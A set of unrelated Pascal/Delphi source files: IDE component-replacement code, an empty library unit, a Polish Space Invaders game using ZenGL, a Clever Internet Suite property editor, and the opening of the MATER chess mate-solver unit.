in the list, search its children. } function TCompInfo.Search(Parent: TCompInfo; FormEditor: IOTAFormEditor; List: TStrings; const NewType: string): Integer; function GetStringListItem(List: TStrings; Index: Integer): string; begin if (Index < List.Count) and (Index > -1) then Result := List[Index] else Result := ''; end; resourcestring AncestorError = 'There are known bugs in the IDE that cause crashes trying '+ 'to replace components on inherited froms. The component %s can not be '+ 'replaced, since it is on an inherited form. Operation aborted.'; SObjectProc = 'Object processing'; SReplaceCompd = 'Component replaced successfully: %s - > %s:%s'; var Index: Integer; CompObject: TObject; Component: TComponent; ListName, StackName: string; OldClassName, NewClassName: string; begin Result := 0; StackName := GetName; OldClassName := ''; NewClassName := ''; FController.SignalStackBegin(StackName); try Index := List.IndexOf(StackName); if Index < 0 then { Not in List, so search the children. } Result := Children.Search(Self, FormEditor, List, NewType) else begin { Found a component to replace. Delete the old one, create a new one, and recreate all of its children. } CompObject := nil; ListName := GetStringListItem(List, Index); try // finally object end try // except object processing try // except object begin List.Delete(Index); CompObject := GxOtaGetNativeObject(ComponentInterface); if Assigned(CompObject) then OldClassName := CompObject.ClassName; if Assigned(CompObject) and (CompObject is TComponent) then begin Component := CompObject as TComponent; if csAncestor in Component.ComponentState then raise Exception.CreateFmt(AncestorError, [Component.Name]); end; FController.SignalObjectBegin(ListName, CompObject); except on E: Exception do begin FController.SignalObjectBegin(ListName, CompObject); raise; end; end; // Create a new one & assign properties CreateComponent(Parent, FormEditor, NewType); // Recreate child objects Result := Children.Replace(Self, FormEditor, List, NewType) + 1; finally FController.SignalObjectEnd(ListName, CompObject); end; CompObject := GxOtaGetNativeObject(NewComponentInterface); try if Assigned(CompObject) then NewClassName := CompObject.ClassName; FController.SignalObjectBegin(ListName, CompObject); CommitReplace(0); FController.LogMsg(Format(SReplaceCompd, [OldClassName, NewClassName, ListName])); finally FController.SignalObjectEnd(ListName, CompObject); end; except on E: Exception do FController.HandleException(E, SObjectProc); end; end finally FController.SignalStackEnd(StackName); end; end; procedure TCompInfo.CommitReplace(OwnerLevel: Integer); resourcestring SObjectDel = 'Object deletion'; SObjectDelFailed = 'Object deletion failed'; SObjectIntfReplace = 'Interface replacing'; SChildrenIntfReplace = 'Children interface replacing'; SCompRenaming = 'Component renaming'; begin FController.Root.RelinkComponents(ComponentInterface, NewComponentInterface); if OwnerLevel = 0 then try // delete // delete old one if Assigned(ComponentInterface) then begin if not ComponentInterface.Delete then raise Exception.Create(SObjectDelFailed); end; except on E: Exception do FController.HandleException(E, SObjectDel); end; try ComponentInterface := NewComponentInterface; NewComponentInterface := nil; except on E: Exception do FController.HandleException(E, SObjectIntfReplace); end; try Children.CommitReplace(OwnerLevel+1); except on E: Exception do FController.HandleException(E, SChildrenIntfReplace); end; try UpdateName; except on E: Exception do FController.HandleException(E, SCompRenaming); end; end; procedure TCompInfo.RelinkComponents(OldCompInterface: IOTAComponent; NewCompInterface: IOTAComponent); resourcestring SRelinkErrControls = 'Component error while relinking using Controls'; SRelinkErrComps = 'Component error while relinking using Components'; SRelinkErrNotif = 'Component error while relinking using Notification'; var OldObject, NewObject: TObject; Stop: Boolean; ChildList: TList; NativeObject: TObject; begin OldObject := GxOtaGetNativeObject(OldCompInterface); NewObject := GxOtaGetNativeObject(NewCompInterface); ChildList := TList.Create; try Stop := False; AddReplacedChild(Self, ChildList, Stop); ForEachChild(AddReplacedChild, ChildList, Stop); NativeObject := GetAsNativeObject; try if NativeObject is TComponent then RelinkByComponents(TComponent(NativeObject), OldObject, NewObject, ChildList); except on E: Exception do FController.HandleException(E, SRelinkErrComps); end; try if NativeObject is TWinControl then RelinkByControls(TWinControl(NativeObject), OldObject, NewObject, ChildList); except on E: Exception do FController.HandleException(E, SRelinkErrControls); end; try if NativeObject is TComponent then RelinkByNotification(NativeObject, OldObject, NewObject, ChildList); except on E: Exception do FController.HandleException(E, SRelinkErrNotif); end; finally ChildList.Free; end; end; function TCompInfo.GetAsNativeObject: TObject; begin if Assigned(NewComponentInterface) then Result := GxOtaGetNativeObject(NewComponentInterface) else Result := GxOtaGetNativeObject(ComponentInterface); end; procedure TCompInfo.ReplaceLinks(PropOwner: TObject; OldObject, NewObject: TObject); var PropNames: TStringList; i: Integer; ObjPtr: TObject; begin if PropOwner = nil then Exit; PropNames := TStringList.Create; try GetPropertyNames(PropOwner.ClassName, PropNames); for i := 0 to PropNames.Count-1 do begin if IsPublishedProp(PropOwner, PropNames[i]) and PropIsType(PropOwner, PropNames[i], tkClass) then begin ObjPtr := GetObjectProp(PropOwner, PropNames[i]); if ObjPtr = OldObject then SetObjectProp(PropOwner, PropNames[i], NewObject); end; end; finally PropNames.Free; end; end; procedure TCompInfo.RelinkByComponents(PropOwner: TComponent; OldObject, NewObject: TObject; IgnoredList: TList); var i: Integer; begin if IgnoredList.IndexOf(PropOwner)<0 then ReplaceLinks(PropOwner, OldObject, NewObject); for i := 0 to PropOwner.ComponentCount-1 do RelinkByComponents(PropOwner.Components[i], OldObject, NewObject, IgnoredList); end; procedure TCompInfo.RelinkByControls(PropOwner: TControl; OldObject, NewObject: TObject; IgnoredList: TList); var WinOwner: TWinControl; i: Integer; begin if IgnoredList.IndexOf(PropOwner)<0 then ReplaceLinks(PropOwner, OldObject, NewObject); if PropOwner is TWinControl then begin WinOwner := TWinControl(PropOwner); for i := 0 to WinOwner.ControlCount-1 do RelinkByControls(WinOwner.Controls[i], OldObject, NewObject, IgnoredList); end; end; procedure TCompInfo.RelinkByNotification(PropOwner: TObject; OldObject, NewObject: TObject; IgnoredList: TList); var FreeNotifies: TList; i: Integer; begin FreeNotifies := nil; {$IFDEF Use_HackedComponent} if PropOwner is TComponent then FreeNotifies := THackedComponent(PropOwner).FreeNotifies; {$ENDIF Use_HackedComponent} if IgnoredList.IndexOf(PropOwner)<0 then ReplaceLinks(PropOwner, OldObject, NewObject); if Assigned(FreeNotifies) then for i := 0 to FreeNotifies.Count-1 do RelinkByNotification(FreeNotifies[i], OldObject, NewObject, IgnoredList); end; procedure TCompInfo.AddReplacedChild(ACompInfo: TCompInfo; AData: Pointer; var Stop: Boolean); var OldObject: TObject; begin OldObject := GxOtaGetNativeObject(ACompInfo.ComponentInterface); if Assigned(ACompInfo.NewComponentInterface) and Assigned(OldObject) then (TList(AData)).Add(OldObject); end; procedure TCompInfo.ForEachChild(AProc: TCompInfoProc; AData: Pointer; var Stop: Boolean); begin FChildren.ForEachChild(AProc, AData, Stop); end; procedure TCompInfo.SetNewInterface(const Value: IOTAComponent); begin FNewInterface := Value; end; function TCompInfo.GetLatestInterface: IOTAComponent; begin if Assigned(FNewInterface) then Result := FNewInterface else Result := FInterface; end; { TFormInfo } constructor TFormInfo.Create(Controller: TCompRepController; FormEditor: IOTAFormEditor); var CompIntf: IOTAComponent; begin inherited Create; FController := Controller; FInterface := FormEditor; CompIntf := FormInterface.GetRootComponent; FCompInfo := TCompInfo.Create(FController, CompIntf); FController.Root := FCompInfo; end; destructor TFormInfo.Destroy; begin FCompInfo.Free; inherited Destroy; end; { Look up the component represented by CompIntf. } function TFormInfo.FindComponent(CompIntf: IOTAComponent): TCompInfo; begin Result := Component.FindComponent(CompIntf); end; { Fill List with the names of all components whose type is OldType. } procedure TFormInfo.GetMatchingComponents(List: TStrings; const OldType: string); begin Component.GetMatchingComponents(List, OldType); end; { Examine all selected components, and add to the list any components whose type is OldType. Also search the children of selected components. } procedure TFormInfo.GetSelectedComponents(List: TStrings; const OldType: string); var i: Integer; Info: TCompInfo; CompIntf: IOTAComponent; begin for i := 0 to FormInterface.GetSelCount-1 do begin CompIntf := FormInterface.GetSelComponent(i); Info := FindComponent(CompIntf); Info.GetMatchingComponents(List, OldType); end; end; { Replace all the components whose names are in List. Replace them with new components of type NewType. Return the number of replacements performed. } function TFormInfo.ReplaceComponents(List: TStrings; const NewType: string): Integer; begin { Start by selecting the form, so when parent = nil, the new components will be children of the form, not the current selection. } Component.ComponentInterface.Select(False); Result := Component.Search(nil, FormInterface, List, NewType); end; end.
unit ev; { Библиотека "Эверест" } { Начал: Люлин А.В. } { Модуль: ev - } { Начат: 28.09.1999 10:18 } { $Id: ev.pas,v 1.7 2007/12/04 12:46:58 lulin Exp $ } // $Log: ev.pas,v $ // Revision 1.7 2007/12/04 12:46:58 lulin // - перекладываем ветку в HEAD. // // Revision 1.5.6.1 2005/05/18 12:42:45 lulin // - отвел новую ветку. // // Revision 1.4.4.1 2005/04/28 09:18:28 lulin // - объединил с веткой B_Tag_Box. // // Revision 1.5 2005/04/12 09:58:31 lulin // - вставлена более правильная директива - чтобы было удобнее искать. // // Revision 1.4 2004/11/02 12:47:30 lulin // - поправлен заголовок об авторстве, т.к. оно у нас давно очень размыто. // // Revision 1.3 2000/12/15 15:10:33 law // - вставлены директивы Log. // {$Include evDefine.inc } interface implementation end.
program space_invaders; uses Sysutils, crt, zgl_main, zgl_screen, zgl_window, zgl_timers, zgl_file, zgl_memory, zgl_resources, zgl_font, zgl_textures, zgl_textures_jpg, zgl_textures_png, zgl_sound, zgl_sound_wav, zgl_primitives_2d, zgl_text, zgl_sprite_2d, zgl_utils, zgl_keyboard, zgl_mouse; type ekran = (menu, poziom1, poziom2); ship_dane = record x, y, oslona : Integer; alive : Boolean; end; bullet_dane = record x, y : Integer; alive : Boolean; end; monster_dane = record x, y, xb, yb, v1, v2 : Integer; tex : zglPTexture; alive, bullet_alive : Boolean; end; const //wymiary potworow i statku SZ_M1=40; W_M1=30; SZ_S1=60; W_S1=50; //wspolczynnik szybkosci pociskow wroga k = 20; //wymiary przyciskow XSI=200; YSI=60; XP=300; YP1=300; YP2=400; YW=500; SZ_SI=400; W_SI=180; SZ_P=200; W_P=50; var fntMain : zglPFont; tlo_poziom1,tlo_poziom2,tlo_menu,space_invaders,tex_poziom1,tex_poziom2,wyjscie,tex_ship1,tex_monster1,tex_monster2,tex_monster3,tex_monster4,tex_temp : zglPTexture; ship1 : ship_dane; tex_bullet1,tex_bullet2 : zglPTexture; bullets : array [1..80] of bullet_dane; monsters : array [1..10, 1..5] of monster_dane; // 10 kolumn x 5 wierszy koniec,przegrana,esc_menu,nizej,prawo,lewo,war_temp : Boolean; aktualny_ekran : ekran; mouseEndX,mouseEndY,lwygranych,lprzegranych,plusLW,minusLP,szybkosc : Integer; shot,music : zglPSound; lw,lp : Text; s : string; //prototypy procedure init_rozgrywka; forward; procedure init_menu; forward; procedure init_poziom1; forward; procedure init_poziom2; forward; // INIT INIT INIT INIT INIT INIT INIT INIT INIT procedure Init; begin // czcinki fntMain:=font_LoadFromFile( 'dane/font.zfi' ); Snd_Init; aktualny_ekran:=menu; esc_menu:=false; music := Snd_LoadFromFile ('dane/music.mp3',2); shot := Snd_LoadFromFile ('dane/shoot.wav',2); init_menu(); end; // DRAW DRAW DRAW DRAW DRAW DRAW DRAW DRAW DRAW procedure Draw; var i,j : Integer; os : String; begin if(aktualny_ekran=poziom1) Then begin //wyswietlenie tla ssprite2d_Draw(tlo_poziom1, 0, 0, 800, 600, 0 ); //wyswietlanie statku jesli nie zostal zniszczony if (ship1.alive) Then ssprite2d_Draw(tex_ship1, ship1.x, ship1.y, SZ_S1, W_S1, 0 ); //wyswietlanie pociskow gracza for i:=1 to 80 do if bullets[i].alive then ssprite2d_Draw(tex_bullet1, bullets[i].x, bullets[i].y, 18, 6, -90 ); //wyswietlanie pociskow przeciwnikow for i:=1 to 10 do begin for j:=1 to 5 do begin if (monsters[i][j].bullet_alive) then ssprite2d_Draw(tex_bullet2, monsters[i][j].xb-2, monsters[i][j].yb-2, 7, 7, 0 ); end; end; //wyswietlanie przeciwnikow for i:=1 to 10 do begin for j:=1 to 5 do begin if monsters[i][j].alive then ssprite2d_Draw(monsters[i][j].tex, monsters[i][j].x, monsters[i][j].y, SZ_M1, W_M1, 0 ); end; end; //wyswietlanie napisow //text_Draw( fntMain, 10, 5, 'FPS: ' + u_IntToStr( zgl_Get( RENDER_FPS ) ) ); text_Draw( fntMain, 10, 10, 'Poziom 1' ); os:=IntToStr(ship1.oslona); text_Draw( fntMain, 200, 10, 'Stan oslony: ' + os ); if (przegrana) Then text_Draw( fntMain, 250, 500, 'Przegrales :D < Enter >' );; if (koniec = true) Then text_Draw( fntMain, 250, 500, 'Brawo! Tym razem Ci sie udalo. < Enter >' ); end; if(aktualny_ekran=poziom2) Then begin //wyswietlenie tla ssprite2d_Draw(tlo_poziom2, 0, 0, 800, 600, 0 ); //wyswietlanie statku jesli nie zostal zniszczony if (ship1.alive) Then ssprite2d_Draw(tex_ship1, ship1.x, ship1.y, SZ_S1, W_S1, 0 ); //wyswietlanie pociskow gracza for i:=1 to 80 do if bullets[i].alive then ssprite2d_Draw(tex_bullet1, bullets[i].x, bullets[i].y, 18, 6, -90 ); //wyswietlanie pociskow przeciwnikow for i:=1 to 10 do begin for j:=1 to 5 do begin if (monsters[i][j].bullet_alive) then ssprite2d_Draw(tex_bullet2, monsters[i][j].xb-2, monsters[i][j].yb-2, 7, 7, 0 ); end; end; //wyswietlanie przeciwnikow for i:=1 to 10 do begin for j:=1 to 5 do begin if monsters[i][j].alive then ssprite2d_Draw(monsters[i][j].tex, monsters[i][j].x, monsters[i][j].y, SZ_M1, W_M1, 0 ); end; end; //wyswietlanie napisow //text_Draw( fntMain, 10, 5, 'FPS: ' + u_IntToStr( zgl_Get( RENDER_FPS ) ) ); text_Draw( fntMain, 10, 10, 'Poziom 2' ); os:=IntToStr(ship1.oslona); text_Draw( fntMain, 200, 10, 'Stan oslony: ' + os ); if (przegrana) Then text_Draw( fntMain, 250, 500, 'Przegrales :D < Enter >' );; if (koniec = true) Then text_Draw( fntMain, 250, 500, 'Brawo! Tym razem Ci sie udalo. < Enter >' ); end; if(aktualny_ekran=menu) Then begin ssprite2d_Draw(tlo_menu, 0, 0, 800, 600, 0 ); ssprite2d_Draw(space_invaders, XSI, YSI, SZ_SI, W_SI, 0 ); ssprite2d_Draw(tex_poziom1, XP, YP1, SZ_P, W_P, 0 ); ssprite2d_Draw(tex_poziom2, XP, YP2, SZ_P, W_P, 0 ); ssprite2d_Draw(wyjscie, XP, YW, SZ_P, W_P, 0 ); text_Draw( fntMain, 550, 480, 'Liczba wygranych gier: ' + IntToStr(lwygranych) ); text_Draw( fntMain, 550, 505, 'Liczba przegranych gier: ' + IntToStr(lprzegranych) ); text_Draw( fntMain, 638, 580, 'Autor: Dominik Bazan' ); //text_Draw( fntMain, 10, 5, 'FPS: ' + u_IntToStr( zgl_Get( RENDER_FPS ) ) ); //text_Draw( fntMain, 10, 25, 'Main menu: 1 - poziom pierwszy Esc - wyjscie z gry 0-main menu' ); end; if(esc_menu=true) Then text_Draw( fntMain, 300, 500, 'Czy na pewno chcesz wyjsc z gry? t/n' ); if(esc_menu=true) Then text_Draw( fntMain, 300, 517, 'By wyjsc do menu wcisnij 0' ); end; // UPDATE UPDATE UPDATE UPDATE UPDATE UPDATE UPDATE procedure Update(); var i,j : Integer; begin //wczytanie liczby wygranych oraz przegranych gier z plikow, modyfikacja i zapis // +1 Assign(lw,'dane/lw.txt'); Reset(lw); ReadLN(lw,s); lwygranych:=StrToInt(s); lwygranych:=lwygranych+plusLW; plusLW:=0; s:=IntToStr(lwygranych); Rewrite(lw); Write(lw,s); Close(lw); // -1 Assign(lp,'dane/lp.txt'); Reset(lp); ReadLN(lp,s); lprzegranych:=StrToInt(s); lprzegranych:=lprzegranych+minusLP; minusLP:=0; s:=IntToStr(lprzegranych); Rewrite(lp); Write(lp,s); Close(lp); //wyjscie z gry if (esc_menu=true) AND (key_PRESS( K_T ) OR (key_PRESS( K_ENTER ))) Then zgl_Exit() else if (esc_menu=true) AND (key_PRESS( K_N )) Then esc_menu:=NOT(esc_menu); //zmiana stanu esc_menu if key_PRESS( K_ESCAPE ) Then esc_menu:=NOT(esc_menu); //wyjscie do menu if key_PRESS( K_0 ) Then begin aktualny_ekran:=menu; init_menu(); end; //rozpoczecie poziomu pierwszego if key_PRESS( K_1 ) Then begin aktualny_ekran:=poziom1; init_poziom1(); end; //rozpoczecie poziomu drugiego if key_PRESS( K_2 ) Then begin aktualny_ekran:=poziom2; init_poziom2(); end; //przejscie do menu po wygranym poziomie if (koniec = true) AND (key_PRESS( K_ENTER )) Then begin koniec:=false; aktualny_ekran:=menu; plusLW:=1; end; //zniszczenie wszystkich przeciwnikow (hak) if key_PRESS( K_Y ) Then for i:=1 to 10 do for j:=1 to 5 do monsters[i][j].alive:=false; //czy statek gracza zniszczony if ship1.oslona <= 0 Then przegrana := true; if NOT(ship1.alive) Then ship1.oslona:=0; //gdy przegrana if przegrana Then begin if war_temp Then begin minusLP:=1; war_temp:=false; end; if key_PRESS ( K_ENTER ) Then aktualny_ekran:=menu; ship1.alive:=false; end; // klikanie opcji myszka if mouse_down(M_BLEFT) then begin mouseEndX:=mouse_x; mouseEndY:=mouse_y; end; if (NOT(mouse_down(M_BLEFT))) and (mouseEndX>XP) and (mouseEndX<XP+SZ_P) and (mouseEndY>YP1) and (mouseEndY<YP1+W_P) then begin mouseEndX:=0; mouseEndY:=0; aktualny_ekran:=poziom1; init_poziom1(); end else if (NOT(mouse_down(M_BLEFT))) and (mouseEndX>XP) and (mouseEndX<XP+SZ_P) and (mouseEndY>YP2) and (mouseEndY<YP2+W_P) then begin mouseEndX:=0; mouseEndY:=0; aktualny_ekran:=poziom2; init_poziom2(); end else if (NOT(mouse_down(M_BLEFT))) and (mouseEndX>XP) and (mouseEndX<XP+SZ_P) and (mouseEndY>YW) and (mouseEndY<YW+W_P) then begin mouseEndX:=0; mouseEndY:=0; zgl_Exit(); end; key_ClearState(); end; // TIMER_FIRE TIMER_FIRE TIMER_FIRE TIMER_FIRE TIMER_FIRE procedure Timer_fire; var i : Integer; begin //strzelanie z 2 dzialek if (key_DOWN(K_SPACE)) AND (ship1.alive) Then begin for i:=1 to 40 do if bullets[i].alive=false then break; bullets[i].alive:=true; bullets[i].x:=ship1.x+2; bullets[i].y:=ship1.y+10; for i:=41 to 80 do if bullets[i].alive=false then break; bullets[i].alive:=true; bullets[i].x:=ship1.x+40; bullets[i].y:=ship1.y+10; snd_Play(shot); end; end; // TIMER_FIRE_MONSTERS TIMER_FIRE_MONSTERS TIMER_FIRE_MONSTERS procedure Timer_fire_monsters; var i,j,kolej_strzal1,kolej_strzal2 : Integer; begin Randomize; kolej_strzal1:=random(10)+1; kolej_strzal2:=random(5)+1; //strzaly przeciwnikow for i := 1 to 10 do begin for j := 1 to 5 do begin if (i=kolej_strzal1) AND (j=kolej_strzal2) AND (monsters[i][j].bullet_alive=false) AND (monsters[i][j].alive=true) AND (ship1.alive) Then begin monsters[i][j].bullet_alive := true; monsters[i][j].yb := monsters[i][j].y; monsters[i][j].xb := monsters[i][j].x; monsters[i][j].v1 := ship1.x-monsters[i][j].xb; monsters[i][j].v2 := ship1.y-monsters[i][j].yb; end; end; end; end; // TIMER_BULLET TIMER_BULLET TIMER_BULLET TIMER_BULLET procedure Timer_bullet; var i : Integer; begin for i := 1 to 80 do if bullets[i].alive=true then begin bullets[i].y:=bullets[i].y-10; if (bullets[i].y<=-1) then bullets[i].alive:=false; end; end; // TIMER_BULLET_MONSTER TIMER_BULLET_MONSTER TIMER_BULLET_MONSTER procedure Timer_bullet_monster; var i,j : Integer; begin //przesowanie pociskow i niszczenie jak wyleca za ekran for i := 1 to 10 do begin for j := 1 to 5 do begin if monsters[i][j].bullet_alive then begin monsters[i][j].xb := monsters[i][j].xb + (monsters[i][j].v1 div k); monsters[i][j].yb := monsters[i][j].yb + (monsters[i][j].v2 div k); if (monsters[i][j].yb>601) OR (monsters[i][j].xb>801) OR (monsters[i][j].xb<0) Then begin monsters[i][j].bullet_alive:=false; end; end; end; end; end; // Timer_monsters_moving Timer_monsters_moving Timer_monsters_moving procedure Timer_monsters_moving; var i,j : Integer; begin if nizej=true Then begin for i := 1 to 10 do begin for j := 1 to 5 do begin monsters[i][j].y:=monsters[i][j].y+1; if monsters[i][j].y>320 Then nizej:=false; end; end; end; end; // TIMER_SHIP_MOVE TIMER_SHIP_MOVE TIMER_SHIP_MOVE procedure Timer_ship_move; begin if key_DOWN( K_LEFT ) Then if(ship1.x>0) THEN ship1.x:=ship1.x-10; if key_DOWN( K_RIGHT ) Then if(ship1.x<740) THEN ship1.x:=ship1.x+10; if key_DOWN( K_UP ) Then if(ship1.y>440) THEN ship1.y:=ship1.y-10; if key_DOWN( K_DOWN ) Then if(ship1.y<550) THEN ship1.y:=ship1.y+10; if key_DOWN( K_Z ) Then if(ship1.x>0) THEN ship1.x:=ship1.x-20; if key_DOWN( K_C ) Then if(ship1.x<740) THEN ship1.x:=ship1.x+20; //wnd_SetCaption('01-Initialization[ FPS: '+u_IntToStr(zgl_Get(RENDER_FPS))+' ]'); end; // Timer_niszcz_blok Timer_niszcz_blok Timer_niszcz_blok Timer_niszcz_blok procedure Timer_niszcz_blok; var i,j,k,losowa : Integer; begin Randomize; for i:=1 to 10 do begin for j:=1 to 5 do begin for k:=1 to 80 do begin if (monsters[i][j].alive=true) and (bullets[k].alive=true) Then if (abs(bullets[k].x-(monsters[i][j].x+(SZ_M1/2)))<=20) AND (abs(bullets[k].y-(monsters[i][j].y+(W_M1/2)))<=15) then begin monsters[i][j].alive := false; bullets[k].alive := false; losowa:=random(40)+1; if losowa = i Then ship1.oslona:=ship1.oslona+1; end; end; end; end; //sprawdzanie czy wszyscy przyciwnicy pokonani koniec:=true; for i:=1 to 10 do begin for j:=1 to 5 do begin if monsters[i][j].alive = true Then begin koniec := false; break; end; end; if monsters[i][j].alive = true Then break; end; end; // Timer_niszcz_statku Timer_niszcz_statku Timer_niszcz_statku procedure Timer_niszcz_statku; var i,j : Integer; begin for i:=1 to 10 do begin for j:=1 to 5 do begin if ((abs(monsters[i][j].xb-(ship1.x+(SZ_S1/2))))<=(SZ_S1/2)) AND ((abs(monsters[i][j].yb-(ship1.y+(W_S1/2))))<=(W_S1/2)) Then begin monsters[i][j].bullet_alive := false; ship1.oslona := ship1.oslona-1; monsters[i][j].xb := 0; monsters[i][j].yb := -100; end; end; end; end; //Timer_kierunek_monster Timer_kierunek_monster Timer_kierunek_monster procedure Timer_kierunek_monster; var i,j : Integer; begin //poruszanie sie na boki for i:=1 to 10 do begin for j:=1 to 5 do begin if (monsters[i][j].alive) AND (monsters[i][j].x>750) Then begin prawo:=false; lewo:=true; end; end; end; for i:=1 to 10 do begin for j:=1 to 5 do begin if (monsters[i][j].alive) AND (monsters[i][j].x<10) Then begin prawo:=true; lewo:=false; end; end; end; if prawo Then begin for i:=1 to 10 do begin for j:=1 to 5 do begin monsters[i][j].x:=monsters[i][j].x+szybkosc; end; end; end else if lewo Then begin for i:=1 to 10 do begin for j:=1 to 5 do begin monsters[i][j].x:=monsters[i][j].x-szybkosc; end; end; end; end; // INT_MENU INT_MENU INT_MENU INT_MENU INT_MENU INT_MENU INT_MENU procedure init_menu; begin koniec := false; tlo_menu := tex_LoadFromFile( 'dane/tlo_menu.jpg' ); space_invaders := tex_LoadFromFile( 'dane/space_invaders.png' ); tex_poziom1 := tex_LoadFromFile( 'dane/poziom1.png' ); tex_poziom2 := tex_LoadFromFile( 'dane/poziom2.png' ); wyjscie := tex_LoadFromFile( 'dane/wyjscie.png' ); end; // INT_POZIOM1 INT_POZIOM1 INT_POZIOM1 INT_POZIOM1 INT_POZIOM1 procedure init_poziom1; var i,j,los : Integer; begin Randomize; szybkosc:=2; ship1.oslona:=5; nizej:=true; init_rozgrywka(); tlo_poziom1 := tex_LoadFromFile( 'dane/tlo_poziom1.jpg' ); //okreslanie poczatkowej pozycji przeciwnikow i ich formy tekstur for i:=1 to 10 do begin for j:=1 to 5 do begin monsters[i][j].alive := true; monsters[i][j].bullet_alive := false; monsters[i][j].x := 75*i-40; monsters[i][j].y := 40*j-30; los:=random(3); CASE los OF 0 : monsters[i][j].tex:=tex_monster1; 1 : monsters[i][j].tex:=tex_monster2; 2 : monsters[i][j].tex:=tex_monster3; 3 : monsters[i][j].tex:=tex_monster4; END; end; end; end; // INT_POZIOM2 INT_POZIOM2 INT_POZIOM2 INT_POZIOM2 INT_POZIOM2 procedure init_poziom2; var i,j,los : Integer; begin Randomize; ship1.oslona:=2; szybkosc:=5; nizej:=true; init_rozgrywka(); tlo_poziom2 := tex_LoadFromFile( 'dane/tlo_poziom2.jpg' ); //okreslanie poczatkowej pozycji przeciwnikow i ich formy tekstur for i:=1 to 10 do begin for j:=1 to 5 do begin monsters[i][j].alive := true; monsters[i][j].bullet_alive := false; monsters[i][j].x := 75*i-40; monsters[i][j].y := 40*j-30; los:=random(3); CASE los OF 0 : monsters[i][j].tex:=tex_monster1; 1 : monsters[i][j].tex:=tex_monster2; 2 : monsters[i][j].tex:=tex_monster3; 3 : monsters[i][j].tex:=tex_monster4; END; end; end; end; // INIT_ROZGRYWKA INIT_ROZGRYWKA INIT_ROZGRYWKA INIT_ROZGRYWKA procedure init_rozgrywka; begin //ladowanie tekstur potrzebnych do gry tex_monster1 := tex_LoadFromFile( 'dane/monster1.png' ); tex_monster2 := tex_LoadFromFile( 'dane/monster2.png' ); tex_monster3 := tex_LoadFromFile( 'dane/monster3.png' ); tex_monster4 := tex_LoadFromFile( 'dane/monster4.png' ); tex_ship1 := tex_LoadFromFile( 'dane/ship1.png' ); tex_bullet1 := tex_LoadFromFile( 'dane/bullet1.png' ); tex_bullet2 := tex_LoadFromFile( 'dane/bullet2.png' ); //okreslanie poczatkowej pozycji statku i jego stanu war_temp:=true; przegrana := false; prawo:=true; koniec := false; ship1.alive := true; ship1.x := 400; ship1.y := 550; end; // MAIN MAIN MAIN MAIN MAIN MAIN MAIN MAIN MAIN MAIN BEGIN timer_Add( @Timer_ship_move, 20 ); timer_Add( @Timer_fire, 300 ); timer_Add( @Timer_bullet, 20 ); timer_Add( @Timer_niszcz_blok, 20 ); //niszczenie przeciwnikow timer_Add( @Timer_niszcz_statku, 100 ); timer_Add( @Timer_bullet_monster, 45 ); //przesowanie pociskow i niszczenie jak wyleca za ekran timer_Add( @Timer_fire_monsters, 500 ); //ktory strzela w jaka strone i cz w ogole timer_Add( @Timer_monsters_moving, 100 ); timer_Add( @Timer_kierunek_monster, 30 ); zgl_Reg( SYS_LOAD, @Init ); zgl_Reg( SYS_DRAW, @Draw ); zgl_Reg( SYS_UPDATE, @Update ); // naglowek okna wnd_SetCaption( 'SPACE INVADERS by Dominik Bazan' ); wnd_ShowCursor( TRUE ); scr_SetOptions( 800, 600, REFRESH_MAXIMUM, FALSE, FALSE ); zgl_Init(); END.
{ Clever Internet Suite Copyright (C) 2013 Clever Components All Rights Reserved www.CleverComponents.com } unit clDEditors; interface {$I ..\common\clVer.inc} uses {$IFNDEF DELPHIXE2} Classes, TypInfo, ShellApi, Windows, Dialogs, Forms, SysUtils, {$ELSE} System.Classes, System.TypInfo, Winapi.ShellApi, Winapi.Windows, Vcl.Dialogs, Vcl.Forms, System.SysUtils, {$ENDIF} DesignEditors, DesignIntf; type TclBaseEditor = class(TComponentEditor) public procedure ExecuteVerb(Index: Integer); override; function GetVerb(Index: Integer): string; override; function GetVerbCount: Integer; override; end; TclSaveFileProperty = class(TStringProperty) public procedure Edit; override; function GetAttributes: TPropertyAttributes; override; end; TclOpenFileProperty = class(TStringProperty) public procedure Edit; override; function GetAttributes: TPropertyAttributes; override; end; implementation const hcSaveToFileDialog = 0; hcOpenFileDialog = 0; cSite = 'http://www.clevercomponents.com'; cVersion = 'Version 9.0'; { TclBaseEditor } procedure TclBaseEditor.ExecuteVerb(Index: Integer); begin case Index of 0: ShellExecute(0, 'open', cSite, nil, nil, SW_SHOW); end; end; function TclBaseEditor.GetVerb(Index: Integer): string; begin case Index of 0: Result := cSite; 1: Result := cVersion; end; end; function TclBaseEditor.GetVerbCount: Integer; begin Result := 2; end; { TclSaveFileProperty } procedure TclSaveFileProperty.Edit; var dlg: TSaveDialog; begin dlg := TSaveDialog.Create(Application); try dlg.Filename := GetValue(); dlg.InitialDir := ExtractFilePath(dlg.Filename); dlg.Filter := '*.*'; dlg.HelpContext := hcSaveToFileDialog; dlg.Options := dlg.Options + [ofShowHelp, ofEnableSizing]; if dlg.Execute then SetValue(dlg.Filename); finally dlg.Free(); end; end; function TclSaveFileProperty.GetAttributes: TPropertyAttributes; begin Result := [paDialog, paRevertable]; end; { TclOpenFileProperty } procedure TclOpenFileProperty.Edit; var dlg: TOpenDialog; begin dlg := TOpenDialog.Create(Application); try dlg.Filename := GetValue(); dlg.InitialDir := ExtractFilePath(dlg.Filename); dlg.Filter := '*.*'; dlg.HelpContext := hcOpenFileDialog; dlg.Options := dlg.Options + [ofShowHelp, ofEnableSizing]; if dlg.Execute then SetValue(dlg.Filename); finally dlg.Free(); end; end; function TclOpenFileProperty.GetAttributes: TPropertyAttributes; begin Result := [paDialog, paRevertable]; end; end.
(*******************************************************************) (* *) (* MATER: Mate searching program - (c) Valentin Albillo 1998 *) (* *) (* This program or parts thereof can be used for any purpose *) (* whatsoever as long as proper credit is given to the copyright *) (* holder. Absolutely no guarantees given, no liabilities of any *) (* kind accepted. Use at your own risk. Your using this code in *) (* all or in part does indicate your acceptance of these terms. *) (* *) (*******************************************************************) unit Mater; interface function SolveMate( const aFen: string; const aMovesNumber: integer; const aSearchAllMoves: boolean ): string; implementation uses SysUtils, StrUtils; const MAXMOVES = 200; MAXPIECES = 16; PAWN = 1; KNIGHT = 2; BISHOP = 3; ROOK = 4; QUEEN = 5; KING = 6; WHITE = 1; BLACK = -1; NONE = 0; TOP = 22; BOTTOM = 99; ANY = 1; CAPTURE = -1; ENPASSANT = 8; OO = 6; OOO = 7; VOO = 50; VOOO = 30; function Color(i: integer): integer; begin if i = 0 then result := 0 else if i < 0 then result := BLACK else result := WHITE; end; type 